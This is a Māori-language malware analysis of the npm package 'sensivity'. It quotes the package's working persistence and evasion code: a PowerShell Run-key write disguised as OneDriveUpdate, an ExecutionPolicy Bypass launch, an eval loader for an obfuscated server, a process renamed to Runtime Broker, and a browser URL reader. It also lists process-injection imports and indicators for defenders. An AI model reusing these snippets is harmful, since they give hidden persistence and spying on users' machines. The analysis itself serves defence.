TL; DR
Te mōkihi npm te aro e whakaahua ana i a ia anō he "Paewhiri Mana Tairongo." I runga i te Windows, he rite tana mahi ki tētahi taputapu mana mamao me te tirotiro.
Ko tōna tomokanga, launcher.js, ka whakaingoa anō i tana ake tukanga ki Runtime Broker, ka tuhi i tētahi uara Run-key tīmata-aunoa e huaina ana OneDriveUpdate ka whakarewa anō i te mōkihi mā te VBScript huna, ka puta ko PowerShell me -ExecutionPolicy Bypass, kātahi ka arotake i tētahi kawenga tūmau kua whakapōreareatia 171 KB me tētahi kōwae taketake 6.87 MB, sens.node.
Ka mahi i tētahi paewhiri mana hono-waea i runga i te tauranga TCP 3000, ā, ka pānui i te URL pae-wāhitau o te pūtirotiro hohe mā te Windows UIAutomation, me te tirotiro mō tētahi ataata YouTube kua whakapūmautia.
E rua ngā wāhanga i kīia i mua ko ngā pouaka pango kua whakatauhia inaianei. Ko te tūmau kua whakapōreareatia, server.obf.js, e whakamahi ana i tētahi kaupapa obfuscator.io RC4 string-array; mā te whakatinana anō i tana wetewaehere tuimotu (kāore he JavaScript e whakahaerehia) ka whakahokia mai he pito mutunga o waho kotahi — https://izopi.com/check.php — me tētahi kī tūmatanui RSA kua whakauruhia hei manatoko i ngā urupare raihana kua hainatia.
Te kōwae taketake, sens.node, kāore i te tākaihia: ko tana ripanga kawemai me ngā aho kua whakauruhia e tohu ana he DirectX 11 / Dear ImGui i roto i te kēmu e whakarato ana i ngā āhuatanga aimbot, ESP (paki-paki), me te triggerbot, e whakahaerehia ana e te werohanga tukanga mamao me te pānui/tuhi mahara.
Ko ngā aho i roto e tohutoro ana i ngā hinonga waka me ngā wāhi mahere e rite ana ki te GTA V / FiveM. Ko te mōkihi npm te takai tuku me te pumau huri noa i taua kōwae taketake.
He mahi te tohu tautuhi, ehara i te mea hangarau: kotahi te kaiwhakaputa ingoakore i tuku tata ki te whitu tekau ngā putanga o te kete kotahi — 2.5.0 mā te 2.5.69 — mō ētahi rā, me te kawe i te pūwhakarewa kotahi i ia rā, i ia rā.
Kāore he tāutanga hooksKa oma noa te utauta ina tīmata te mōkihi.
Te Whakaeke: Te Āhua o tana Mahi
Ka tukuna e te sensivity ngā kōnae tekau. He iti noa te package.json: kāore he āpure putunga, kāore he raihana, he ingoa kēne matua me ngā ingoa kēne e rua (sensivity, sens) e tohu katoa ana ki te launcher.js, me te tuhinga tīmatanga o te node launcher.js. Kāore he tāutanga i muri, i mua rānei. Kāore he mea e mura ana i te tāutanga npm. Ka oma te whanonga kua whakaahuahia i raro nei ina tīmata te mōkihi e te kaiwhakamahi — mā te bin shim, te tuhinga tīmatanga, te tono rānei.
Kei roto i te tarball te pūwhakarewa, he tūmau kua whakapōreareatia, te kōwae taketake, he tuhinga Visual Basic, me te whaiaronga tūmatanui/tukutuku mō te papatohu whakahaere. Ko te launcher.js te kaiwhakarite ka taea te pānui; ko te arorau e whai tikanga ana i te wā whakahaere kei roto i ngā poraka e rua e utaina ana - he tūmau kua whakapōreareatia me te kōwae taketake kua whakahiatohia, e rua e whakatauhia ana i raro nei.
Te tukanga huna me te whakahōu OneDrive rūpahu
I te tīmatanga o te whakatinanatanga, ka rua ngā wā ka whakatakotoria e launcher.js tōna ake ingoa tukanga:
javascript process.title = 'Runtime Broker'; He tukanga Windows tika a Runtime Broker (RuntimeBroker.exe) e whakahaere ana i ngā whakaaetanga taupānga. Mā te whakaingoa anō i tētahi tukanga Node kia ōrite ki tēnā, mā te tirotiro tere ki te Kaiwhakahaere Mahi, kāore he mea rerekē e kitea.
Ka tuhia te Persistence mā PowerShell, kaua mā te API rēhita tika:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Ko te ingoa o te uara tīmatanga-aunoa ko OneDriveUpdate, ā, kāore e tohu tika ki te mōkihi. E tohu ana ki te wscript.exe e whakahaere ana i te OneDrive.Standalone.Updater.vbs kua whakaemihia. Ka whakarewa anō taua tuhinga i te node launcher.js i roto i tētahi matapihi huna. Ko te ingoa Run-key me te ingoa kōnae VBScript e tango ana i te waitohu Microsoft, nō reira ka pānuitia te tāurunga tīmatanga-aunoa hei mahi OneDrive noa.
PowerShell me te karo i ngā kaupapa here whakahaere
Ka tukuna tonutia e te pūwhakarewa ki PowerShell. Ko te puna e tohuhia ana e ngā matawai he mea nui ko te whakarewatanga o tētahi .ps1 kua hangaia me te kaupapa here whakahaere kua monoa:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Ka tangohia e ExecutionPolicy Bypass te tirotiro waitohu-hōtuhi ā-rohe mō taua karangatanga. Ka whakahaerehia e ngā hōtuhi kua hangaia te mahi tirotiro-pūtirotiro me te kimi-matapihi kua whakaahuatia i te wāhanga e whai ake nei.
Te tūmau kua whakapōreareatia me te kōwae taketake
I muri i te tatūnga, ka utaina, ka whakahaerehia hoki e launcher.js tana kawenga tūturu:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));Ko te server.obf.js he 171 KB o te _0x-array obfuscation — te tauira JavaScript e whakakapia ana ia aho me te tohu e tētahi taupū ki roto i tētahi huinga kua whakaranua, kātahi ka tangohia te tohutoro i te wā oma. Ko te kaupapa ko te momo RC4 i hangaia e obfuscator.io: ka wetewetehia e tētahi mahi wetewete kotahi te base64-i tētahi tāurunga huinga, kātahi ka wetewetehia e te RC4-me tētahi kī mō ia waeatanga. Mā te whakatinana anō i taua wetewete i roto i tētahi tuhinga motuhake — te whakahaere i te whakatinanatanga anō i runga i te huinga aho tāurunga 821 kua tangohia, kāore rawa i te JavaScript ake o te mōkihi — ka wetewetehia ma. He aha ngā mata he iti engari hecisive: kotahi URL o waho, https://izopi.com/check.php`, kua tohaina ki tētahi pūmau LICENSE_URL; he RSA PUBLIC_KEY_PEM` kua whakauruhia; ka arahi te panui ā-rohe i te /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, me te /trigger/status; me ngā aho child_process, crypto, me te [Sensivity] sens.node kua utaina — ko te mea whakamutunga ko te rārangi takiuru tika ka tuhia anō e te kaiwhakarewa ki te kōwae hōtaka kua utaina. Ko te pito he tirotiro raihana: ka tukuna e te kiritaki he tohu (ka whakahōputu te tūmau kua whakapōrearea i tētahi aho Discord ID: %s) ā, ka manatoko te kī RSA i te urupare kua hainatia e te tūmau.
He tāpiri taketake kua whakahiatohia a sens.node, he 6.87 MB te rahi, ā, kāore i te tākaihia — kei te 5.6–6.6 te entropy wāhanga, ā, kei te mau tonu ngā ripanga kawemai me te kaweake PE, nō reira ka taea te pānui tika i ōna āheinga. Ka kaweakehia e ia te napi_register_module_v1, te standard Ko te pūwāhi whakauru N-API Pūnga, kia utaina ai e te tūmau eval'd he tono noa iho. Ko tana ripanga kawemai te tohu. Mai i KERNEL32 ka kukumea e ia a OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, me Process32First/NextW — te huinga matua mō te kimi i tētahi atu tukanga, te tohatoha mahara ki roto, me te pānui, te tuhi rānei i taua mahara. Mai i USER32 ka kukumea e ia a GetAsyncKeyState, GetKeyState, mouse_event, me SetCursorPos; ka honoa e ia a d3d11.dll, D3DCOMPILER_43, me dwmapi mō te paparua i runga i te mata, me te huinga WINHTTP katoa mō ngā waeatanga whatunga. Ko ōna aho kua whakauruhia ka tapaina te huinga āhuatanga me te kore e mārama: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, me te haki Dear ImGui Dear ImGui 1.91.3 WIP. Ko ngā aho tauwāhi me ngā aho hinonga pēnei i te Grapeseed Medical Clinic me te papakupu vehicle-ESP he rite ki te GTA V / FiveM.
He mea āta whakaarohia te wehewehenga: ko ngā wāhanga anake e pānuihia ana e te matawai ka taea te pānui ko te launcher.js te mea e mau ana i te pānui ngāwari - te persistence, te masquerade, te karangatanga arotake - ko te obfuscation ka huna i te kaihautū o waho kotahi - ngā hoapā wā-oma, ā, ko te binary te pupuri i te arorau kēmu-overlay me te werohanga-tukatuka. Ko te kaiwhakarewa te anga angiangi, ka taea te arotake; ko te tūmau kua obfuscated ka huna i te tuakiri whatunga; ko te kōwae taketake te kawenga. Ka whakaahuahia e mātou ngā kawemai me ngā aho o te binary he mea pānui; kāore mātou e whakatau i te kaupapa a te kaiwhakahaere mai i a rātou.
He papatohu whakahaere hononga waea i te tauranga 3000
Ka whakahaerehia e te kaiwhakarewa tētahi tūmau tukutuku ā-rohe i runga i te tauranga TCP 3000, ā, ka tirohia hei tūmau kotahi. Ka rapua he kaiwhakarongo o nāianei, ā, ka ūkuia i mua i te herea:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Ka taea te toro atu ki te paewhiri i http://localhost:3000, me te URL whakahoki LAN kua whakapūmautia o http://192.168.1.16:3000. Ko te whaiaronga tūmatanui/ me te whanonga o te paewhiri he rite ki te rere o te hononga QR: ka matawai te waea i tētahi waehere ka herea ki te kaihautū hei mamao. Kāore he rohe whakahau-me-te-mana o waho e puta ana i roto i te tuhinga mārama i roto i te kaiwhakarewa - engari, e ai ki te whakaaturanga o te whakakorenga i runga ake nei, kei roto i te tūmau kua whakapūmautia: te pito mutunga raihana izopi.com. Ko te paewhiri tonu he rohe ā-rohe, ā, he tirohanga ā-LAN; ko te kaihautū anake e haere atu ana ko taua tirotiro raihana.
Mā te tauira kaiwhakahaere/kaimahi motuhake ka ora tonu te tukanga. Ka puta anō te kaiwhakarewa me ngā haki taiao SENSIVITY_SUPERVISOR me SENSIVITY_WORKER, ka oma huna ia tamaiti, nō reira mā te whakamate i tētahi tukanga ka waiho mā te kaitiaki e tīmata anō.
Te Tirotiro Pūtirotiro me te Tohu YouTube
Ko te whanonga tino motuhake ko te aroturuki i te pūtirotiro. Ka hangaia e te launcher.js te PowerShell e akiaki ana i te Windows UIAutomation hei pānui i te pae wāhitau o te pūtirotiro e rere ana:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', Ka whakahokia mai e ValuePattern te ihirangi tuhinga o tētahi huānga UI. Ina whakamahia ki te mana whakatika pae wāhitau o tētahi pūtirotiro, ka whakahokia mai te URL e tirohia ana e te patunga i tēnei wā — me te kore he toronga pūtirotiro, me te kore e pā ki te kōtaha i runga i te kōpae, me te kore he matau API. Ka hurihia e te tuhinga kua hangaia he rārangi $browserNames, ā, ka tangohia te URL, te taitara matapihi rānei o tētahi pūtirotiro kei mua.
Ka whakamatautauria taua URL ki tētahi ūnga kua whakapūmautia:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Ka pōti te kaiwhakarewa i tētahi porowhita e toru hēkona te roa mō tētahi matapihi tirotiro e whakaatu ana i a YouTube, ā, kei roto i te PowerShell kua hangaia he takirua Get-YouTubeBrowser / Test-TargetYouTubeUrl e ōrite ana ki taua ID ataata. E rua ngā pānga ka kitea: ka pānuihia te URL tirotiro hohe mai i te mata o te patunga, ā, ka kitea te taunekeneke a te kaihautū me tētahi ataata YouTube motuhake. Ka whakaahuahia e mātou te tikanga me te ūnga; kāore mātou e whakatau i tētahi take mai i a rātou.
Ko te pānui o te pae wāhitau ko tā te matawai e tapaina ana ko sensitive_data_enumeration — he pūtake Process::env me UIAutomation e whāngai ana i te wā whakahaere whatunga. He āhua pai te āhua ina wehea, ā, ka whakatauhia kia tirotirohia ina oti te whai i te huringa ora raraunga mai i te pūtake UIAutomation ki te tūmau kua huna.
Te Wātaka me te Whanaketanga Putanga
Ehara a sensivity i te tukuake kotahi. E whitu tekau pea ngā putanga kua whakaputaina o tēnei mōkihi kotahi i roto i te pūkete kaiwhakaputa, ā, i haere tonu te tae mai o ētahi atu i te wā arotake. Ka whakanuia e te kaiwhakarewa ngā āhuatanga i ia āhuatanga puta noa i te raina 2.5.x, ā, ka noho pumau tonu tōna manawanui me te utaina o ngā kawenga.
| Te Rā (UTC) | Ngā putanga i kitea | Āhua o te kaiwhakarewa |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Pūwhakarewa papa QR taketake; Te pumau o te kī whakahaere; te arotakenga o te tūmau kua whakapōrearea. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Te tapumati ōrite; te pehi i te tohu o te papatohu. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Tāpirihia te ūnga whakauru YouTube kua whakapirihia wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Te whakaputa anō i te whakakī-āputa puta noa i te awhe; te kaitiaki o te kaiwhakahaere/kaimahi. |
Mā te pānui i te pūwhakarewa puta noa i ngā māngai kua tangohia — 2.5.0, 2.5.36, me te 2.5.69 — ka kitea ngā taumata e whā. Kei ngā hanganga tuatahi te pūwhakarewa takirua QR taketake. Mai i te 2.5.33 ka puta te kaikohi pae wāhitau UIAutomation. Mai i te 2.5.58 ka tāpirihia he paparanga whakahaere-kaiwhakahaere. Mai i te 2.5.64 ka whakaotihia te huinga e te kaitiaki/kaimahi wehe. I roto i te katoa, e whā ngā mea kāore e rerekē: te kī Whakahaere OneDriveUpdate, te maturuturu OneDrive.Standalone.Updater.vbs, te tūmau eval'd.obf.js, me te kōwae taketake sens.node.
He mea whakamiharo te ngaru o te tau 2026-06-05 nā te mea i whakaputa anō i ngā tau putanga iti — 2.5.0 ki te 2.5.15 — kei raro iho i ngā putanga i whakaūtia i ngā rā o mua. Ko te hua he rārangi 2.5.x e hono ana i runga i te rēhita, he rite tonu te pūwhakarewa o ia putanga.
Ngā tohu o te whakaae tahi
I pānuitia tika mai ngā tohu katoa i raro nei i te kete tarball. Ko te pūwhakarewa pānui he hononga whakamuri me te wāhitau LAN tūmataiti kotahi anake; ko te ingoa manaaki o waho kotahi, izopi.com, i whakahokia mai mā te tango i te obfuscating server.obf.js tuimotu.
| momo | tohu | Notes |
|---|---|---|
| mōkī | npm:sensivity (≈70 putanga, 2.5.0-2.5.69) | Kaiwhakaputa mōkihi kotahi; kāore he putunga; kāore i raihanahia. |
| kōnae | launcher.js | Kaiwhakarite ka taea te pānui; te ūnga matua me te ūnga ipu. |
| kōnae | server.obf.js (≈171 KB) | obfuscator.io RC4 utunga aho-aratau, kua utaina mā eval(fs.readFileSync(...)). |
| kōnae | sens.node (≈6.87 MB) | Tāpiri N-API Pūnaha PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| kōnae | OneDrive.Standalone.Updater.vbs | Kaiwhakarewa anō huna (node launcher.js). |
| whatunga | https://izopi.com/check.php | Kua whakahokia mai te pito mutunga raihana/mana mai i te tūmau kua huna; ka manatokohia ngā whakautu e te kī tūmatanui RSA kua whakauruhia. |
| Te kaha | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Te kaha ki te werohanga tukatuka mamao me te pānui/tuhi mahara. |
| Te kaha | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | He paparanga kēmu DirectX 11 / ImGui e whakatinana ana i ngā āhuatanga aimbot, ESP, me triggerbot. |
| Rēhita | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Uara tīmatanga aunoa e tohu ana ki wscript.exe me te kaiwhakarewa VBScript. |
| tukanga | process.title = 'Runtime Broker' | E whakaahua ana i a ia anō ko te tukanga Windows Runtime Broker tika. |
| Haehau | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Te karo i te kaupapa here whakatinanatanga e whakamahia ana mō ngā tuhinga PowerShell kua hangaia. |
| Haehau | UIAutomation ValuePattern pānui i te pae wāhitau o te pūtirotiro | Ka pānui i te URL o te matapihi pūtirotiro o mua. |
| Haehau | Tautuhi ataata ūnga wJWta2lO0Lw; pōti YouTube 3-hēkona | Tohu aroturuki-whakaurunga kua pinea. |
| whatunga | http://localhost:3000, tautoko http://192.168.1.16:3000 | Kua whakaatuhia te papatohu whakahaere hononga QR ā-rohe me runga i te LAN. |
| taiao | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Ngā haki whakaritenga tukanga a te kaitiaki motuhake. |
Te Whakawhiwhinga, te Pānga, me ngā Kaiwawao
I whakaputaina te mōkihi e tētahi pūkete npm kotahi, ko tana īmēra kua kīia he wāhitau Gmail kāore anō kia manatokohia. He tino kino te kaute ingoa rēhita o te pūkete, kotahi anake te mōkihi e pupuri ana, e whakaputa ana, ā, kāore he putunga pūtake hono. Kāore anō mātou kia manatoko i te mana o te īmēra, ā, e tuku ana mātou i te kaupapa ki te pūkete kaiwhakaputa, ehara i te mea ki tētahi tangata kua whakaingoatia. Kāore he hanganga tuhinga mārama o te kaiwhakarewa, engari kua mōhiotia inaianei te kaihautū o waho kotahi: ka whakapā atu te tūmau kua huna ki a izopi.com mō te tirotiro raihana, ā, ko te kōwae taketake — ka pānuihia mai i tana ripanga kawemai me ngā aho kaua ki te tohutohu-mā-te-tohutohu kua hurihia — he paparanga kēmu e werowero ana ki roto, e pānui ana hoki i te mahara o tētahi atu tukanga.
Ka pā te pānga ka kitea ki ngā kaiwhakamahi Windows e tāuta ana, e whakahaere ana hoki i te aro me te tumanako ki tētahi taputapu papatohu whakahaere. I runga i aua kaihautū, ka whakatū te mōkihi i te pumau tīmatanga aunoa e huna ana hei mahi OneDrive, ka whakaingoatia anō kia rite ki tētahi tukanga pūnaha, ka pānui i te URL o te mea e tirotirohia ana e te kaiwhakamahi, ā, ka whakatūria he papatohu takirua e herea ana te mīhini ki tētahi mamao mā te whatunga ā-rohe. Ko te tikanga o te kaitiaki/kaimahi, kāore e tangohia e te kotahi patunga tukanga; ka ora te tāurunga kī-Oma i ngā whakaara anō. Kāore a macOS me Linux e arohia ana e te kaiwhakarewa — ko ngā ara pumau, PowerShell, me UIAutomation he Windows anake.
Ko te putanga whitu tekau te ia e tika ana kia tohua. Mā te whakaputa anō i tētahi kete i ngā wā maha i roto i ētahi rā, tae atu ki te whakakī anō i ngā tau putanga i raro i ērā kua tangohia, ka noho tonu he tārua i runga i te rēhita i waenga i ngā tangohanga, ā, ka whakararuraru i ngā rārangi poraka kua pinea ki te putanga. Kāore he pānga kino o te whakaurunga rārangi poraka mō te sensivity@2.5.61 ki te sensivity@2.5.3 i te rā i muri mai.
Ka taea e ngā kaiwhaiwhai te mahi i runga i ngā mea e whai ake nei:
- Āraia te aro o te ingoa mōkihi i roto i ngā rārangi whakaaetanga rēhita-poroaki me CI. Mā te whakapiri i ngā putanga takitahi ka ngaro te tere whakaputa anō; ko te ingoa te tohu pumau.
- Rapua he uara Whakahaere ko OneDriveUpdate te ingoa, ā, ka karangahia e ōna raraunga te wscript.exe ki tētahi .vbs i roto i te ara mō ia kaiwhakamahi. Kāore te kaiwhakahōu OneDrive tūturu i rēhitatia i tēnei ara.
- Whakatūpato mō tētahi tukanga Node.js ko tōna process.title ko Runtime Broker. Ko te kaihokohoko tūturu ko RuntimeBroker.exe, ehara i te Node runtime.
- Tohua ngā tiki wā-tāuta npm o ngā mōkihi e tuku ana i tētahi tāpiri .node kua whakahiatohia me tētahi eval(fs.readFileSync(…)) o tētahi kōnae tuakana .obf.js. Ko taua takirua — te pūrua taketake opaque kua utaina ki te taha o tētahi kawenga tuhinga kua obfuscated — koinei te tohu hanganga i konei, motuhake mai i tētahi aho IOC.
- Whakaarohia he mea whakapae tetahi kaiwhakarongo e herea ana ki te rohe i runga i te tauranga 3000 i puta mai i tētahi tukanga Node ohorere i runga i ngā pito mutunga Windows whakahaeretia.
- Āraia, whakatūpatohia rānei ngā tono e haere atu ana ki izopi.com mai i ngā kaiwhakawhanake, i ngā kaihautū kaiwhakamahi mutunga rānei; koinei anake te pito mutunga o waho o te mōkihi, ka tae atu ki /check.php mai i te tūmau kua huna.
- Mō tētahi tāpiri .node kua tāpirihia, tirohia tana ripanga kawemai i mua i te whakawhirinaki ki a ia. Ko te huinga OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread he werohanga tukatuka-mamao ahakoa te aha e kīia ana e te mōkihi; kei konei e tū ana i te taha o te paparanga Direct3D me ngā aho aimbot/ESP/triggerbot.
Mō te tātaritanga-pūmau pipelines, he pumau te āhua o te whakataunga puta noa i te putanga kua hurihia: he kōtaha tāutanga ehara i te whatunga, he tautapatanga taitara-tukatuka ki tētahi ingoa tukanga-pūnaha e mōhiotia ana, he tuhi kī-Whakahaere mā PowerShell, me te arotakenga o tētahi kōnae kua pānuihia mai i te kōpae. Kāore tētahi o ēnei e whakawhirinaki ana ki tētahi rohe, ki tētahi IP, ki tētahi tau putanga rānei ka taea e te whakaputanga anō e whai ake nei te huri atu.
Tohutoro
[npm: te aro] – whārangi rēhita mō te putanga mōkihi kua kōrerohia i konei; me tango pea.
